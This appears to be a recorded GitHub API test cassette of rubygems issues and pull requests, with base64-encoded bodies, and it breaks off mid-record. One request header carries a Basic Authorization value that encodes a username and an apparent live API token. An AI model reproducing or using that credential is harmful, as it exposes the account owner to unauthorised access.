X2F0IjoiMjAxNS0wNS0wNVQwMToyMjo1NloiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMDoxMVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik1FTUJFUiIsInB1bGxfcmVxdWVzdCI6eyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzEyNDQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEyNDQucGF0Y2gifSwiYm9keSI6IlRoaXMgcHVsbCByZXF1ZXN0IGNoYW5nZXMgYEdlbTo6U3R1YlNwZWNpZmljYXRpb25gIHRvIGJlIGEgZGVsZWdhdGUgb2JqZWN0IHRoYXQgZGVsZWdhdGVzIHRvIGEgbGF6aWx5IGxvYWRlZCBgR2VtOjpTcGVjaWZpY2F0aW9uYC5cbiMjIyBBZHZhbnRhZ2VzXG4tIGBHZW06OlNwZWNpZmljYXRpb24uX2FsbGAgYW5kIGBzdHVic2AgYXJlIHN5bm9ueW1zLCBzbyB5b3UgY2FuIHVzZSB0aGUgYEVudW1lcmFibGVgIG1ldGhvZHMgb24gYEdlbTo6U3BlY2lmaWNhdGlvbmAgd2l0aG91dCBhY2NpZGVudGFsbHkgYWN0dWFsbHkgbG9hZGluZyBhbGwgc3BlY2lmaWNhdGlvbnNcbi0gU2luY2UgYEdlbTo6U3R1YlNwZWNpZmljYXRpb25gIHdpbGwgZGVsZWdhdGUgdG8gYSByZWFsIHNwZWNpZmljYXRpb24sIHdlIGNhbiBzdG9wIGNhbGxpbmcgYHRvX3NwZWNgIG9uIHRoZSBzdHVicyBhbmQganVzdCByZXR1cm4gdGhlIHN0dWIgb2JqZWN0IGl0c2VsZlxuLSBDYWNoZSBpbnZhbGlkYXRpb24gaXMgZWFzaWVyIHNpbmNlIHdlIG9ubHkgaGF2ZSB0byBtYW5hZ2UgYSBsaXN0IG9mIHN0dWJzIChub3QgYEBAc3R1YnNgICoqYW5kKiogYEBAYWxsYClcbiMjIyBEaXNhZHZhbnRhZ2VzXG4tIFNpbmNlIHdlIG9ubHkgZGVhbCB3aXRoIHN0dWJzIHNwZWNpZmljYXRpb24gb2JqZWN0cywgaXQgY2FuIGJyZWFrIGBpc19hP2AgY2hlY2tzLiAgSSBoYWQgdG8gcmVtb3ZlIGFuIGlzX2EgY2hlY2sgW2hlcmVdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3J1YnlnZW1zOm1hc3Rlci4uLnRlbmRlcmxvdmU6c3BlY19kZWxlZ2F0ZT9leHBhbmQ9MSNkaWZmLTg1ZmJlZTVhY2QyYTdiYTQ4ZmFiYjBlMDQ3YThjNDYzTDc0KSBhbmQgW2hlcmVdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3J1YnlnZW1zOm1hc3Rlci4uLnRlbmRlcmxvdmU6c3BlY19kZWxlZ2F0ZT9leHBhbmQ9MSNkaWZmLWM0YmM1ZjNkNDQwZDVhOGU1ZWJhZTZjNGUxNjc4MmE0TDEzNCksIGFuZCBJIGtub3cgZm9yIHN1cmUgdGhhdCBidW5kbGVyIGRvZXMgaXNfYSBjaGVja3MgW2hlcmVdKGh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyL2J1bmRsZXIvYmxvYi85NGJlNDQ4MWRkNTVjN2MwYTU2MmVkY2RjNzJkMjhiN2JiYTNiNTAwL2xpYi9idW5kbGVyL2luZGV4LnJiI0w3NikuXG5cbkkgbGVmdCBbYHRvX3NwZWNgIGluIHRhY3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL3J1YnlnZW1zOm1hc3Rlci4uLnRlbmRlcmxvdmU6c3BlY19kZWxlZ2F0ZT9leHBhbmQ9MSNkaWZmLTZlMzgzZmM1NWY4NDJhMjNjYzg5MDEwOWE4MDJkNjA5UjE2OCkgc28gaWYgeW91IHJlYWxseSByZWFsbHkgbmVlZCB0aGUgdW5kZXJseWluZyBzcGVjIG9iamVjdCwgeW91IGNhbiBnZXQgaXQgKHRob3VnaCBJIGRvbid0IGFkdmlzZSBpdCBiZWNhdXNlIHRoYXQncyBzbG93KS5cbiMjIyBGdXJ0aGVyIHdvcmtcblxuU2luY2UgYF9hbGxgIGFuZCBgc3R1YnNgIGNhbiBiZSBzeW5vbnltcywgYW5kIGBfYWxsYCBpcyBub2RvYydkLCBJIHRoaW5rIHdlIGNvdWxkIHJtIGBfYWxsYCBhbmQgYmFjayB0aGUgYEVudW1lcmFibGVgIG1ldGhvZHMgYnkgYHN0dWJzYC5cblxuSXQgc2VlbXMgbGlrZSB0aGVyZSBtYXkgYmUgc29tZSBvdGhlciBwbGFjZXMgaW4gYnVuZGxlciB0aGF0IGFyZSBkb2luZyBpc19hPyBjaGVja3MsIGJ1dCBJIG5lZWQgdG8gZmluZCB0aGVtLiAgSWYgdGhpcyBzZWVtcyBsaWtlIGFuIE9LIHBhdGggZm9yd2FyZCwgSSB3aWxsIGZpeCBidW5kbGVyIHNwZWNzIGJlZm9yZSBtZXJnaW5nLlxuIn1d http_version: recorded_at: Sat, 06 Jan 2018 15:00:32 GMT - request: method: get uri: https://api.github.com/repositories/614070/issues?page=5&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4304' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"db86975fcb33d0d0aa5c31858f39c4fc" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.217044' X-Github-Request-Id: - A3EC:4D97:903FC1:1C49199:5A50E490 body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI0MCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDAiLCJpZCI6NzI0OTc2NjEsIm51bWJlciI6MTI0MCwidGl0bGUiOiJHZW1maWxlLmxvY2sgc2hvdWxkIE5PVCBjb250YWluIHByaXZhdGUgY3JlZGVudGlhbHMgaW4gc291cmNlIHVybHMiLCJ1c2VyIjp7ImxvZ2luIjoiam9lbHByZXNlbmNlIiwiaWQiOjEyMDU3Njg5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjA1NzY4OT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvam9lbHByZXNlbmNlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vam9lbHByZXNlbmNlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvam9lbHByZXNlbmNlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pvZWxwcmVzZW5jZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qb2VscHJlc2VuY2UvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pvZWxwcmVzZW5jZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pvZWxwcmVzZW5jZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pvZWxwcmVzZW5jZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qb2VscHJlc2VuY2UvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9qb2VscHJlc2VuY2UvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2pvZWxwcmVzZW5jZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NywiY3JlYXRlZF9hdCI6IjIwMTUtMDUtMDFUMTk6MDE6MDZaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6MTZaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6IkhpLFxuXG5JIHVzZSBHZW1GdXJ5IGZvciBwcml2YXRlIGdlbXMuICBJbiBteSBgR2VtZmlsZWAgSSBoYXZlIGNvZGUgbGlrZTpcblxuYGBgXG4jIEluIEdlbWZpbGVcbnNvdXJjZSBcImh0dHBzOi8vI3tFTlZbJ0ZVUllfQVVUSCddfUBnZW0uZnVyeS5pby9kZXZwcmVzZW5jZS9cIiBkb1xuICBnZW0gJ3ByZXNlbmNlX2NvbW1vbl93ZWInLCAnfj4gMC4xLjQnXG5lbmRcbmBgYFxuXG5UaGUgZW52aXJvbm1lbnQgdmFyaWFibGUgYEZVUllfQVVUSGAgaGFzIHZhbHVlIGBfTVlfU0VDUkVUX0ZVUllfVE9LRU5fYC4gIFdoZW4gSSBydW4gYGJ1bmRsZSBpbnN0YWxsYCBvciBgYnVuZGxlIHVwZGF0ZWAsIGJ1bmRsZXIgdXBkYXRlcyBgR2VtZmlsZS5sb2NrYCB0byBpbmNsdWRlOlxuXG5gYGBcbiMgSW4gR2VtZmlsZS5sb2NrXG5yZW1vdGU6IGh0dHBzOi8vX01ZX1NFQ1JFVF9GVVJZX1RPS0VOX0BnZW0uZnVyeS5pby9kZXZwcmVzZW5jZS9cbmBgYFxuXG5UaGlzIGlzIGEgcmlzayBiZWNhdXNlIG5vdyBgX01ZX1NFQ1JFVF9GVVJZX1RPS0VOX2Agcmlza3MgZ2V0dGluZyBjb21taXR0ZWQgdG8gc291cmNlIGNvbnRyb2wuICBJIHRvb2sgZ3JlYXQgY2FyZSB0byBfbm90XyBsaXN0IG15IHNlY3JldCB0b2tlbiBpbiBwbGFpbiB0ZXh0IGluIGBHZW1maWxlYCAoZS5nLiBieSBzcGVjaWZ5aW5nIGl0IGFzIGFuIGVudiB2YXIpIHNvIGJ1bmRsZXIvZ2VtcyBzaG91bGQgbm90IG5vdyBqdXN0IHdyaXRlIHRoZSBzZWNyZXQgdG9rZW4gdG8gdGhlIGBHZW1maWxlLmxvY2tgLlxuXG5XaGVuIEkgZGVwbG95IHRoaXMsIHNheSB0byBIZXJva3UsIEkgZnVydGhlciBzcGVjaWZ5IGFuIGVudiB2YXIgYXMgaW46XG5cbmBgYFxuYmFzaD4gaGVyb2t1IGNvbmZpZzpzZXQgRlVSWV9BVVRIPV9NWV9TRUNSRVRfRlVSWV9UT0tFTl9cbmBgYFxuXG5zbyBldmVuIEhlcm9rdSBkZXBsb3lzIGRvbid0IGNvbnRhaW4gbXkgc2VjcmV0IHRva2VuIChleGNlcHQgaW4gcHJpdmF0ZSBydW50aW1lIGNvbmZpZykuXG5cbkZ1cnRoZXIsIHdoZW4gSSBydW4gdGVzdHMsIGJ1bmRsZXIgc2VlbXMgdG8gcGVyaW9kaWNhbGx5IHVwZGF0ZSBgR2VtZmlsZS5sb2NrYC4gIFNvIGV2ZW4gaWYgSSBtYW51YWxseSBlZGl0IGBHZW1maWxlLmxvY2tgIHRvIHJlbW92ZSBgX01ZX1NFQ1JFVF9GVVJZX1RPS0VOX2AsIGJ1bmRsZXIgc2VlbXMgdG8gcGVyaW9kaWNhbGx5IHJlLWFkZCBpdCwgd2l0aG91dCBtZSBldmVuIHJ1bm5pbmcgYnVuZGxlciBtYW51YWxseSAobWF5YmUgcnNwZWMgaXMgZG9pbmcgdGhpcz8pLlxuXG5JIHdvdWxkIHByb3Bvc2UgdGhhdCBpZiBhIHNvdXJjZSB1cmwgaW4gdGhlIEdlbWZpbGUgY29udGFpbnMgdmFsaWQgSFRUUCBjcmVkZW50aWFscywgYW5kIHRoZSBidW5kbGVyLWNyZWF0ZWQgYEdlbWZpbGUubG9ja2AgcmVtb3RlIHVybCBjb250YWlucyBjcmVkZW50aWFscyBhcyBpbjpcblxuYGBgXG5yZW1vdGU6IGh0dHBzOi8vdG9rZW5AaG9zdC9wYXRoXG5yZW1vdGU6IGh0dHBzOi8vdXNlcjpwYXNzd29yZEBob3N0L3BhdGhcbmBgYFxuXG50aGVuIGJ1bmRsZXIgc2hvdWxkIGF1dG9tYXRpY2FsbHkgc3RyaXAgdGhlc2Ugd2hlbiBpdCdzIGNyZWF0aW5nIHRoZSBgR2VtZmlsZS5sb2NrYCBmcm9tIGBHZW1maWxlYC5cblxuU29cblxuYGBgXG4jIENBU0UgMTogQ1VSUkVOVCBCRUhBVklPUlxuIyBJbiBHZW1maWxlXG5zb3VyY2UgXCJodHRwczovLyN7RU5WWydGVVJZX0FVVEgnXX1AZ2VtLmZ1cnkuaW8vZGV2cHJlc2VuY2UvXCIgZG9cbiAgZ2VtICdwcmVzZW5jZV9jb21tb25fd2ViJywgJ34+IDAuMS40J1xuZW5kXG5cbiMgQmVjb21lcyBpbiBHZW1maWxlLmxvY2tcbnJlbW90ZTogaHR0cHM6Ly9fTVlfU0VDUkVUX0ZVUllfVE9LRU5fQGdlbS5mdXJ5LmlvL2RldnByZXNlbmNlL1xuXG4jIENBU0UgMjogREVTSVJFRCBCRUhBVklPUlxuIyBJbiBHZW1maWxlXG5zb3VyY2UgXCJodHRwczovLyN7RU5WWydGVVJZX0FVVEgnXX1AZ2VtLmZ1cnkuaW8vZGV2cHJlc2VuY2UvXCIgZG9cbiAgZ2VtICdwcmVzZW5jZV9jb21tb25fd2ViJywgJ34+IDAuMS40J1xuZW5kXG5cbiMgQmVjb21lcyBpbiBHZW1maWxlLmxvY2tcbnJlbW90ZTogaHR0cHM6Ly9nZW0uZnVyeS5pby9kZXZwcmVzZW5jZS9cbmBgYFxuXG5XZSBuZWVkIHRoaXMgY2hhbmdlIHRvIG1ha2UgaXQgcG9zc2libGUgdG8gdXNlIGJ1bmRsZXIgaW4gYSBzYWZlIGFuZCBzZWN1cmUgZmFzaGlvbiB3aXRoIHByaXZhdGUgZ2VtIHNvdXJjZXMuXG5cbkl0J3Mgbm90IGFuIG9wdGlvbiB0byBqdXN0IFwibm90IGNvbW1pdCBHZW1maWxlLmxvY2tcIiBhcyB0aGF0IHByZWNsdWRlcyBnaXQgZGVwbG95cyB0byBIZXJva3UgZXRjLlxuXG5UaGFua3MhXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyMTEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTIxMS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTIxMS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjExL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjExIiwiaWQiOjY0NjA5NTQ1LCJudW1iZXIiOjEyMTEsInRpdGxlIjoiQ1ZFLTIwMTMtMDMzNCIsInVzZXIiOnsibG9naW4iOiJtcGFwaXMiLCJpZCI6NDgwNTQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ4MDU0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tcGFwaXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNS0wMy0yNlQxOTowNjo1NFoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMToxNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkFzIEBpbmRpcmVjdCBtZW50aW9ucyBpbiBodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyMDcjaXNzdWVjb21tZW50LTg2NjcyNTA5IC0gdGhpcyBzaG91bGQgYmUgZml4ZWQuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyMDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTIwNi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTIwNi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjA2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjA2IiwiaWQiOjY0MzMwODUwLCJudW1iZXIiOjEyMDYsInRpdGxlIjoicmVvcGVuaW5nICM1OTAiLCJ1c2VyIjp7ImxvZ2luIjoibXBhcGlzIiwiaWQiOjQ4MDU0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80ODA1ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE1LTAzLTI1VDE3OjQ0OjUyWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIxOjE2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiaXQgc2VhbXMgbGlrZSBJIHdhcyBsZWF2aW5nIGluIGEgZHJlYW0gd29ybGQgYW5kIEJ1bmRsZXIgd2lsbCBjb250aW51ZSB0byBleGlzdCwgY2FuIHdlIHJldmlzaXQgZXhlY3V0YWJsZSBob29rcyBmcm9tICM1OTA/XG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExODAiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE4MC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTE4MC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMTgwL2V2ZW50cyIsImh0bWxfdXJsI